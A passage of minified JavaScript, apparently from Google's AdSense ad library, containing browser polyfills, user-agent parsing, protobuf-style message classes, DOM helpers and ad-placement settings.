a(u([[h,"s"]]));if("s"!=k.get(h)||1!=k.size||k.get({x:4})||k.set({x:4},"t")!=k||2!=k.size)return!1;var l=k.entries(),m=l.next();if(m.done||m.value[0]!=h||"s"!=m.value[1])return!1;m=l.next();return m.done||4!=m.value[0].x|| "t"!=m.value[1]||!l.next().done?!1:!0}catch(q){return!1}}())return a;var f=new p.WeakMap;e.prototype.set=function(h,k){h=0===h?0:h;var l=d(this,h);l.list||(l.list=this.i[l.id]=[]);l.B?l.B.value=k:(l.B={next:this.h,L:this.h.L,head:this.h,key:h,value:k},l.list.push(l.B),this.h.L.next=l.B,this.h.L=l.B,this.size++);return this};e.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length||delete this.i[h.id],h.B.L.next=h.B.next,h.B.next.L=h.B.L,h.B.head=null,this.size--, !0):!1};e.prototype.clear=function(){this.i={};this.h=this.h.L=b();this.size=0};e.prototype.has=function(h){return!!d(this,h).B};e.prototype.get=function(h){return(h=d(this,h).B)&&h.value};e.prototype.entries=function(){return c(this,function(h){return[h.key,h.value]})};e.prototype.keys=function(){return c(this,function(h){return h.key})};e.prototype.values=function(){return c(this,function(h){return h.value})};e.prototype.forEach=function(h,k){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value, h.call(k,m[1],m[0],this)};e.prototype[r(p.Symbol,"iterator")]=e.prototype.entries;var g=0;return e},"es6");function ua(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[r(p.Symbol,"iterator")]=function(){return e};return e} ha("String.prototype.startsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.startsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.startsWith must not be a regular expression");var d=this.length,e=b.length;c=Math.max(0,Math.min(c|0,this.length));for(var f=0;f<e&&c<d;)if(this[c++]!=b[f++])return!1;return f>=e}},"es6");ha("globalThis",function(a){return a||da},"es_2020"); ha("Set",function(a){function b(c){this.h=new p.Map;if(c){c=u(c);for(var d;!(d=c.next()).done;)this.add(d.value)}this.size=this.h.size}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=new a(u([c]));if(!d.has(c)||1!=d.size||d.add(c)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=c||f.value[1]!=c)return!1;f=e.next();return f.done||f.value[0]==c||4!=f.value[0].x|| f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;b.prototype.add=function(c){c=0===c?0:c;this.h.set(c,c);this.size=this.h.size;return this};b.prototype.delete=function(c){c=this.h.delete(c);this.size=this.h.size;return c};b.prototype.clear=function(){this.h.clear();this.size=0};b.prototype.has=function(c){return this.h.has(c)};b.prototype.entries=function(){return this.h.entries()};b.prototype.values=function(){return r(this.h,"values").call(this.h)};b.prototype.keys=r(b.prototype, "values");b.prototype[r(p.Symbol,"iterator")]=r(b.prototype,"values");b.prototype.forEach=function(c,d){var e=this;this.h.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");ha("Array.prototype.keys",function(a){return a?a:function(){return ua(this,function(b){return b})}},"es6");ha("Array.prototype.values",function(a){return a?a:function(){return ua(this,function(b,c){return c})}},"es8");ha("Number.isNaN",function(a){return a?a:function(b){return"number"===typeof b&&isNaN(b)}},"es6"); ha("Promise.prototype.finally",function(a){return a?a:function(b){return this.then(function(c){return p.Promise.resolve(b()).then(function(){return c})},function(c){return p.Promise.resolve(b()).then(function(){throw c;})})}},"es9");var w=this||self;function va(a){a=a.split(".");for(var b=w,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function wa(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"} function xa(a){var b=wa(a);return"array"==b||"object"==b&&"number"==typeof a.length}function ya(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function za(a){return Object.prototype.hasOwnProperty.call(a,Aa)&&a[Aa]||(a[Aa]=++Ba)}var Aa="closure_uid_"+(1E9*Math.random()>>>0),Ba=0;function Ca(a,b,c){return a.call.apply(a.bind,arguments)} function Da(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Ea(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Ea=Ca:Ea=Da;return Ea.apply(null,arguments)} function Fa(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function Ga(a){var b=["__uspapi"],c=w;b[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+b[0]);for(var d;b.length&&(d=b.shift());)b.length||void 0===a?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=a}function Ha(a){return a};var Ia=(new Date).getTime();function Ja(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]} function Ka(a,b){var c=0;a=Ja(String(a)).split(".");b=Ja(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=La(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||La(0==f[2].length,0==g[2].length)||La(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function La(a,b){return a<b?-1:a>b?1:0};function Ma(){var a=w.navigator;return a&&(a=a.userAgent)?a:""}function x(a){return-1!=Ma().indexOf(a)};function Na(){return x("Trident")||x("MSIE")}function Oa(){return(x("Chrome")||x("CriOS"))&&!x("Edge")||x("Silk")}function Pa(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[r(c,"find").call(c,function(d){return d in b})]||""}} function Qa(){var a=Ma();if(Na()){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])a=b[1];else{b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];a=b}return a}c=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s*(?:\\((.*?)\\))?","g");b=[];for(var d;d=c.exec(a);)b.push([d[1],d[2],d[3]||void 0]);a=Pa(b);return x("Opera")?a(["Version","Opera"]): x("Edge")?a(["Edge"]):x("Edg/")?a(["Edg"]):x("Silk")?a(["Silk"]):Oa()?a(["Chrome","CriOS","HeadlessChrome"]):(a=b[2])&&a[1]||""};function Ra(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Sa(a,b){for(var c=a.length,d=[],e=0,f="string"===typeof a?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ta(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d} function Ua(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Va(a,b){a:{for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]} function Wa(a,b){a:{for(var c="string"===typeof a?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]}function Xa(a,b){a:if("string"===typeof a)a="string"!==typeof b||1!=b.length?-1:a.indexOf(b,0);else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a}function Ya(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};function Za(a){Za[" "](a);return a}Za[" "]=function(){};var $a=Na();!x("Android")||Oa();Oa();!x("Safari")||Oa();var ab={},bb=null;var cb="undefined"!==typeof Uint8Array;var db="function"===typeof p.Symbol&&"symbol"===typeof(0,p.Symbol)()?(0,p.Symbol)(void 0):void 0;function eb(a,b){Object.isFrozen(a)||(db?a[db]|=b:void 0!==a.ma?a.ma|=b:Object.defineProperties(a,{ma:{value:b,configurable:!0,writable:!0,enumerable:!1}}))}function fb(a){var b;db?b=a[db]:b=a.ma;return null==b?0:b}function gb(a){eb(a,1);return a}function hb(a){return Array.isArray(a)?!!(fb(a)&2):!1}function ib(a){if(!Array.isArray(a))throw Error("cannot mark non-array as immutable");eb(a,2)};function jb(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}var kb,lb=Object.freeze(gb([]));function mb(a){if(hb(a.v))throw Error("Cannot mutate an immutable Message");}var nb="undefined"!=typeof p.Symbol&&"undefined"!=typeof p.Symbol.hasInstance;function ob(a){return{value:a,configurable:!1,writable:!1,enumerable:!1}};function pb(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "object":if(a&&!Array.isArray(a)&&cb&&null!=a&&a instanceof Uint8Array){var b;void 0===b&&(b=0);if(!bb){bb={};for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),d=["+/=","+/","-_=","-_.","-_"],e=0;5>e;e++){var f=c.concat(d[e].split(""));ab[e]=f;for(var g=0;g<f.length;g++){var h=f[g];void 0===bb[h]&&(bb[h]=g)}}}b=ab[b];c=Array(Math.floor(a.length/3));d=b[64]||"";for(e=f=0;f<a.length- 2;f+=3){var k=a[f],l=a[f+1];h=a[f+2];g=b[k>>2];k=b[(k&3)<<4|l>>4];l=b[(l&15)<<2|h>>6];h=b[h&63];c[e++]=g+k+l+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]||d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4|g>>4]+h+d}return c.join("")}}return a};function qb(a){var b=sb;b=void 0===b?tb:b;return ub(a,b)}function vb(a,b){if(null!=a){if(Array.isArray(a))a=ub(a,b);else if(jb(a)){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=vb(a[d],b));a=c}else a=b(a);return a}}function ub(a,b){for(var c=a.slice(),d=0;d<c.length;d++)c[d]=vb(c[d],b);Array.isArray(a)&&fb(a)&1&&gb(c);return c}function sb(a){if(a&&"object"==typeof a&&a.toJSON)return a.toJSON();a=pb(a);return Array.isArray(a)?qb(a):a} function tb(a){return cb&&null!=a&&a instanceof Uint8Array?new Uint8Array(a):a};function A(a,b,c){return-1===b?null:b>=a.l?a.i?a.i[b]:void 0:(void 0===c?0:c)&&a.i&&(c=a.i[b],null!=c)?c:a.v[b+a.j]}function B(a,b,c,d,e){d=void 0===d?!1:d;(void 0===e?0:e)||mb(a);b<a.l&&!d?a.v[b+a.j]=c:(a.i||(a.i=a.v[a.l+a.j]={}))[b]=c;return a}function wb(a,b,c,d){c=void 0===c?!0:c;d=void 0===d?!1:d;var e=A(a,b,d);null==e&&(e=lb);if(hb(a.v))c&&(ib(e),Object.freeze(e));else if(e===lb||hb(e))e=gb(e.slice()),B(a,b,e,d);return e}function xb(a,b){a=A(a,b);return null==a?a:!!a} function C(a,b,c){a=A(a,b);return null==a?c:a}function D(a,b,c){a=xb(a,b);return null==a?void 0===c?!1:c:a}function yb(a,b){a=A(a,b);a=null==a?a:+a;return null==a?0:a}function zb(a,b,c){var d=void 0===d?!1:d;return B(a,b,null==c?gb([]):Array.isArray(c)?gb(c):c,d)}function Ab(a,b,c){mb(a);0!==c?B(a,b,c):B(a,b,void 0,!1,!1);return a}function Bb(a,b,c,d){mb(a);(c=Cb(a,c))&&c!==b&&null!=d&&(a.h&&c in a.h&&(a.h[c]=void 0),B(a,c));return B(a,b,d)}function Db(a,b,c){return Cb(a,b)===c?c:-1} function Cb(a,b){for(var c=0,d=0;d<b.length;d++){var e=b[d];null!=A(a,e)&&(0!==c&&B(a,c,void 0,!1,!0),c=e)}return c}function G(a,b,c){if(-1===c)return null;a.h||(a.h={});var d=a.h[c];if(d)return d;var e=A(a,c,!1);if(null==e)return d;b=new b(e);hb(a.v)&&ib(b.v);return a.h[c]=b}function H(a,b,c){a.h||(a.h={});var d=hb(a.v),e=a.h[c];if(!e){var f=wb(a,c,!0,!1);e=[];d=d||hb(f);for(var g=0;g<f.length;g++)e[g]=new b(f[g]),d&&ib(e[g].v);d&&(ib(e),Object.freeze(e));a.h[c]=e}return e} function Eb(a,b,c){var d=void 0===d?!1:d;mb(a);a.h||(a.h={});var e=c?c.v:c;a.h[b]=c;return B(a,b,e,d)}function Fb(a,b,c,d){mb(a);a.h||(a.h={});var e=d?d.v:d;a.h[b]=d;return Bb(a,b,c,e)}function Gb(a,b,c){var d=void 0===d?!1:d;mb(a);if(c){var e=gb([]);for(var f=0;f<c.length;f++)e[f]=c[f].v;a.h||(a.h={});a.h[b]=c}else a.h&&(a.h[b]=void 0),e=lb;return B(a,b,e,d)}function I(a,b){return C(a,b,"")}function Hb(a,b,c){return C(a,Db(a,c,b),0)}function Ib(a,b,c,d){return G(a,b,Db(a,d,c))};function Jb(a,b,c){a||(a=Kb);Kb=null;var d=this.constructor.messageId;a||(a=d?[d]:[]);this.j=(d?0:-1)-(this.constructor.h||0);this.h=void 0;this.v=a;a:{d=this.v.length;a=d-1;if(d&&(d=this.v[a],jb(d))){this.l=a-this.j;this.i=d;break a}void 0!==b&&-1<b?(this.l=Math.max(b,a+1-this.j),this.i=void 0):this.l=Number.MAX_VALUE}if(c)for(b=0;b<c.length;b++)if(a=c[b],a<this.l)a+=this.j,(d=this.v[a])?Array.isArray(d)&&gb(d):this.v[a]=lb;else{d=this.i||(this.i=this.v[this.l+this.j]={});var e=d[a];e?Array.isArray(e)&& gb(e):d[a]=lb}}Jb.prototype.toJSON=function(){var a=this.v;return kb?a:qb(a)};function Lb(a){kb=!0;try{return JSON.stringify(a.toJSON(),Mb)}finally{kb=!1}}function Nb(a,b){if(null==b||""==b)return new a;b=JSON.parse(b);if(!Array.isArray(b))throw Error("Expected to deserialize an Array but got "+wa(b)+": "+b);Kb=b;a=new a(b);Kb=null;return a}function Mb(a,b){return pb(b)}var Kb;function Ob(){Jb.apply(this,arguments)}v(Ob,Jb);if(nb){var Pb={};Object.defineProperties(Ob,(Pb[p.Symbol.hasInstance]=ob(function(){throw Error("Cannot perform instanceof checks for MutableMessage");}),Pb))};function J(){Ob.apply(this,arguments)}v(J,Ob);if(nb){var Qb={};Object.defineProperties(J,(Qb[p.Symbol.hasInstance]=ob(Object[p.Symbol.hasInstance]),Qb))};function Rb(a){J.call(this,a,-1,Sb)}v(Rb,J);function Tb(a){J.call(this,a)}v(Tb,J);var Sb=[2,3];function Ub(a,b){this.i=a===Vb&&b||"";this.h=Wb}var Wb={},Vb={};function Xb(a,b){var c={},d;for(d in a)b.call(void 0,a[d],d,a)&&(c[d]=a[d]);return c}function Yb(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Zb(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function $b(a){var b={},c;for(c in a)b[c]=a[c];return b};var ac;function bc(){if(void 0===ac){var a=null,b=w.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:Ha,createScript:Ha,createScriptURL:Ha})}catch(c){w.console&&w.console.error(c.message)}ac=a}else ac=a}return ac};function cc(a,b){this.h=b===dc?a:""}function ec(a,b){a=fc.exec(gc(a).toString());var c=a[3]||"";return hc(a[1]+ic("?",a[2]||"",b)+ic("#",c))}cc.prototype.toString=function(){return this.h+""};function gc(a){return a instanceof cc&&a.constructor===cc?a.h:"type_error:TrustedResourceUrl"}var fc=/^([^?#]*)(\?[^#]*)?(#[\s\S]*)?/,dc={};function hc(a){var b=bc();a=b?b.createScriptURL(a):a;return new cc(a,dc)} function ic(a,b,c){if(null==c)return b;if("string"===typeof c)return c?a+encodeURIComponent(c):"";for(var d in c)if(Object.prototype.hasOwnProperty.call(c,d)){var e=c[d];e=Array.isArray(e)?e:[e];for(var f=0;f<e.length;f++){var g=e[f];null!=g&&(b||(b=a),b+=(b.length>a.length?"&":"")+encodeURIComponent(d)+"="+encodeURIComponent(String(g)))}}return b};function jc(a,b){this.h=b===kc?a:""}jc.prototype.toString=function(){return this.h.toString()};var kc={};/* SPDX-License-Identifier: Apache-2.0 */ var lc={};function mc(){}function nc(a){this.h=a}v(nc,mc);nc.prototype.toString=function(){return this.h.toString()};function oc(a){var b,c=null==(b=bc())?void 0:b.createScriptURL(a);return new nc(null!=c?c:a,lc)}function pc(a){if(a instanceof nc)return a.h;throw Error("");};function qc(a){return a instanceof mc?pc(a):gc(a)}function rc(a){return a instanceof jc&&a.constructor===jc?a.h:"type_error:SafeUrl"}function sc(a){return a instanceof mc?pc(a).toString():gc(a).toString()};var tc="alternate author bookmark canonical cite help icon license next prefetch dns-prefetch prerender preconnect preload prev search subresource".split(" ");function uc(a){return function(){return!a.apply(this,arguments)}}function vc(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function wc(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function xc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)}function yc(a,b){a.removeEventListener&&a.removeEventListener("message",b,!1)};function zc(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function Ac(a,b,c){function d(h){h&&b.appendChild("string"===typeof h?a.createTextNode(h):h)}for(var e=1;e<c.length;e++){var f=c[e];if(!xa(f)||ya(f)&&0<f.nodeType)d(f);else{a:{if(f&&"number"==typeof f.length){if(ya(f)){var g="function"==typeof f.item||"string"==typeof f.item;break a}if("function"===typeof f){g="function"==typeof f.item;break a}}g=!1}Ra(g?Ya(f):f,d)}}}function Bc(a){this.h=a||w.document||document}n=Bc.prototype;n.getElementsByTagName=function(a,b){return(b||this.h).getElementsByTagName(String(a))}; n.createElement=function(a){var b=this.h;a=String(a);"application/xhtml+xml"===b.contentType&&(a=a.toLowerCase());return b.createElement(a)};n.createTextNode=function(a){return this.h.createTextNode(String(a))};n.append=function(a,b){Ac(9==a.nodeType?a:a.ownerDocument||a.document,a,arguments)}; n.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Cc(){return!Dc()&&(x("iPod")||x("iPhone")||x("Android")||x("IEMobile"))}function Dc(){return x("iPad")||x("Android")&&!x("Mobile")||x("Silk")};var Ec=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?#]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#([\\s\\S]*))?$"),Fc=/#|$/;function Gc(a){var b=a.search(Fc),c;a:{for(c=0;0<=(c=a.indexOf("client",c))&&c<b;){var d=a.charCodeAt(c-1);if(38==d||63==d)if(d=a.charCodeAt(c+6),!d||61==d||38==d||35==d)break a;c+=7}c=-1}if(0>c)return null;d=a.indexOf("&",c);if(0>d||d>b)d=b;c+=7;return decodeURIComponent(a.substr(c,d-c).replace(/\+/g," "))};function Hc(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{Za(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Ic(a){return Hc(a.top)?a.top:null} function Lc(a,b){var c=Mc("SCRIPT",a);c.src=qc(b);var d,e;(d=(b=null==(e=(d=(c.ownerDocument&&c.ownerDocument.defaultView||window).document).querySelector)?void 0:e.call(d,"script[nonce]"))?b.nonce||b.getAttribute("nonce")||"":"")&&c.setAttribute("nonce",d);return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function Nc(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle} function Oc(a,b){if(!Pc()&&!Qc()){var c=Math.random();if(c<b)return c=Rc(),a[Math.floor(c*a.length)]}return null}function Rc(){if(!p.globalThis.crypto)return Math.random();try{var a=new Uint32Array(1);p.globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch(b){return Math.random()}}function Sc(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)} function Tc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var Qc=vc(function(){return Ua(["Google Web Preview","Mediapartners-Google","Google-Read-Aloud","Google-Adwords"],Uc)||1E-4>Math.random()});function Vc(a,b){var c=-1;try{a&&(c=parseInt(a.getItem(b),10))}catch(d){return null}return 0<=c&&1E3>c?c:null} function Wc(a,b){var c=Qc()?null:Math.floor(1E3*Rc());var d;if(d=null!=c&&a)a:{var e=String(c);try{if(a){a.setItem(b,e);d=e;break a}}catch(f){}d=null}return d?c:null}var Pc=vc(function(){return Uc("MSIE")});function Uc(a){return-1!=Ma().indexOf(a)}var Xc=/^([0-9.]+)px$/,Yc=/^(-?[0-9.]{1,30})$/;function Zc(a){var b=void 0===b?null:b;if(!Yc.test(a))return b;a=Number(a);return isNaN(a)?b:a}function K(a){return(a=Xc.exec(a))?+a[1]:null} function $c(a,b){for(var c=0;50>c;++c){try{var d=!(!a.frames||!a.frames[b])}catch(g){d=!1}if(d)return a;a:{try{var e=a.parent;if(e&&e!=a){var f=e;break a}}catch(g){}f=null}if(!(a=f))break}return null}var ad=vc(function(){return Cc()?2:Dc()?1:0});function bd(a){Sc({display:"none"},function(b,c){a.style.setProperty(c,b,"important")})}var cd=[];function dd(){var a=cd;cd=[];a=u(a);for(var b=a.next();!b.done;b=a.next()){b=b.value;try{b()}catch(c){}}} function ed(a,b){0!=a.length&&b.head&&a.forEach(function(c){if(c&&c&&b.head){var d=Mc("META");b.head.appendChild(d);d.httpEquiv="origin-trial";d.content=c}})}function fd(a){if("number"!==typeof a.goog_pvsid)try{Object.defineProperty(a,"goog_pvsid",{value:Math.floor(Math.random()*Math.pow(2,52)),configurable:!1})}catch(b){}return Number(a.goog_pvsid)||-1} function gd(a){var b=hd;"complete"===b.readyState||"interactive"===b.readyState?(cd.push(a),1==cd.length&&(p.Promise?p.Promise.resolve().then(dd):window.setImmediate?setImmediate(dd):setTimeout(dd,0))):b.addEventListener("DOMContentLoaded",a)}function Mc(a,b){b=void 0===b?document:b;return b.createElement(String(a).toLowerCase())};var id=null;var hd=document,L=window;var jd=null;function kd(a,b){b=void 0===b?[]:b;var c=!1;w.google_logging_queue||(c=!0,w.google_logging_queue=[]);w.google_logging_queue.push([a,b]);if(a=c){if(null==jd){jd=!1;try{var d=Ic(w);d&&-1!==d.location.hash.indexOf("google_logging")&&(jd=!0);w.localStorage.getItem("google_logging")&&(jd=!0)}catch(e){}}a=jd}a&&(d=w.document,a=new Ub(Vb,"https://pagead2.googlesyndication.com/pagead/js/logging_library.js"),a=hc(a instanceof Ub&&a.constructor===Ub&&a.h===Wb?a.i:"type_error:Const"),Lc(d,a))};function ld(a){a=void 0===a?w:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function md(a){return(a=a||ld())?Hc(a.master)?a.master:null:null};function nd(a){var b=ta.apply(1,arguments);if(0===b.length)return oc(a[0]);for(var c=[a[0]],d=0;d<b.length;d++)c.push(encodeURIComponent(b[d])),c.push(a[d+1]);return oc(c.join(""))};function od(a){var b=void 0===b?1:b;a=md(ld(a))||a;a.google_unique_id=(a.google_unique_id||0)+b;return a.google_unique_id}function pd(a){a=a.google_unique_id;return"number"===typeof a?a:0}function qd(){var a=void 0===a?L:a;if(!a)return!1;try{return!(!a.navigator.standalone&&!a.top.navigator.standalone)}catch(b){return!1}}function rd(a){if(!a)return"";a=a.toLowerCase();"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function sd(){this.i=new td(this);this.h=0}sd.prototype.resolve=function(a){ud(this);this.h=1;this.l=a;vd(this.i)};sd.prototype.reject=function(a){ud(this);this.h=2;this.j=a;vd(this.i)};function ud(a){if(0!=a.h)throw Error("Already resolved/rejected.");}function td(a){this.h=a}td.prototype.then=function(a,b){if(this.i)throw Error("Then functions already set.");this.i=a;this.j=b;vd(this)}; function vd(a){switch(a.h.h){case 0:break;case 1:a.i&&a.i(a.h.l);break;case 2:a.j&&a.j(a.h.j);break;default:throw Error("Unhandled deferred state.");}};function wd(a){this.h=a.slice(0)}n=wd.prototype;n.forEach=function(a){var b=this;this.h.forEach(function(c,d){return void a(c,d,b)})};n.filter=function(a){return new wd(Sa(this.h,a))};n.apply=function(a){return new wd(a(this.h.slice(0)))};n.sort=function(a){return new wd(this.h.slice(0).sort(a))};n.get=function(a){return this.h[a]};n.add=function(a){var b=this.h.slice(0);b.push(a);return new wd(b)};function xd(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function yd(){this.h={};this.i={}}yd.prototype.set=function(a,b){var c=zd(a);this.h[c]=b;this.i[c]=a};yd.prototype.get=function(a,b){a=zd(a);return void 0!==this.h[a]?this.h[a]:b};yd.prototype.clear=function(){this.h={};this.i={}};function zd(a){return a instanceof Object?String(za(a)):a+""};function Ad(a,b){this.h=a;this.i=b}function Bd(a){return null!=a.h?a.h.value:null}function Cd(a,b){null!=a.h&&b(a.h.value);return a}Ad.prototype.map=function(a){return null!=this.h?(a=a(this.h.value),a instanceof Ad?a:Dd(a)):this};function Ed(a,b){null!=a.h||b(a.i);return a}function Dd(a){return new Ad({value:a},null)}function Fd(a){return new Ad(null,a)}function Gd(a){try{return Dd(a())}catch(b){return Fd(b)}};function Hd(a){this.h=new yd;if(a)for(var b=0;b<a.length;++b)this.add(a[b])}Hd.prototype.add=function(a){this.h.set(a,!0)};Hd.prototype.contains=function(a){return void 0!==this.h.h[zd(a)]};function Id(){this.h=new yd}Id.prototype.set=function(a,b){var c=this.h.get(a);c||(c=new Hd,this.h.set(a,c));c.add(b)};function Jd(a){J.call(this,a,-1,Kd)}v(Jd,J);Jd.prototype.getId=function(){return A(this,3)};var Kd=[4];function Ld(a){var b=void 0===a.Ga?void 0:a.Ga,c=void 0===a.gb?void 0:a.gb,d=void 0===a.Ra?void 0:a.Ra;this.h=void 0===a.bb?void 0:a.bb;this.l=new wd(b||[]);this.j=d;this.i=c};function Md(a){var b=[],c=a.l;c&&c.h.length&&b.push({X:"a",ca:Nd(c)});null!=a.h&&b.push({X:"as",ca:a.h});null!=a.i&&b.push({X:"i",ca:String(a.i)});null!=a.j&&b.push({X:"rp",ca:String(a.j)});b.sort(function(d,e){return d.X.localeCompare(e.X)});b.unshift({X:"t",ca:"aa"});return b}function Nd(a){a=a.h.slice(0).map(Od);a=JSON.stringify(a);return Tc(a)}function Od(a){var b={};null!=A(a,7)&&(b.q=A(a,7));null!=A(a,2)&&(b.o=A(a,2));null!=A(a,5)&&(b.p=A(a,5));return b};function Pd(a){J.call(this,a)}v(Pd,J);Pd.prototype.setLocation=function(a){return B(this,1,a)};function Qd(a,b){this.Ja=a;this.Qa=b}function Rd(a){var b=[].slice.call(arguments).filter(uc(function(e){return null===e}));if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.Ja||[]);d=r(Object,"assign").call(Object,d,e.Qa)});return new Qd(c,d)} function Sd(a){switch(a){case 1:return new Qd(null,{google_ad_semantic_area:"mc"});case 2:return new Qd(null,{google_ad_semantic_area:"h"});case 3:return new Qd(null,{google_ad_semantic_area:"f"});case 4:return new Qd(null,{google_ad_semantic_area:"s"});default:return null}} function Td(a){if(null==a)a=null;else{var b=Md(a);a=[];b=u(b);for(var c=b.next();!c.done;c=b.next()){c=c.value;var d=String(c.ca);a.push(c.X+"."+(20>=d.length?d:d.slice(0,19)+"_"))}a=new Qd(null,{google_placement_id:a.join("~")})}return a};var Ud={},Vd=new Qd(["google-auto-placed"],(Ud.google_reactive_ad_format=40,Ud.google_tag_origin="qs",Ud));function Wd(a){J.call(this,a)}v(Wd,J);function Xd(a){J.call(this,a)}v(Xd,J);Xd.prototype.getName=function(){return A(this,4)};function Yd(a){J.call(this,a)}v(Yd,J);function Zd(a){J.call(this,a)}v(Zd,J);function $d(a){J.call(this,a)}v($d,J);var ae=[1,2,3];function be(a){J.call(this,a)}v(be,J);function ce(a){J.call(this,a,-1,de)}v(ce,J);var de=[6,7,9,10,11];function ee(a){J.call(this,a,-1,fe)}v(ee,J);function ge(a){J.call(this,a)}v(ge,J);function he(a){J.call(this,a)}v(he,J);var fe=[1],ie=[1,2];function je(a){J.call(this,a,-1,ke)}v(je,J);function le(a){J.call(this,a)}v(le,J);function me(a){J.call(this,a,-1,ne)}v(me,J);function oe(a){J.call(this,a)}v(oe,J);function pe(a){J.call(this,a)}v(pe,J);function qe(a){J.call(this,a)}v(qe,J);function 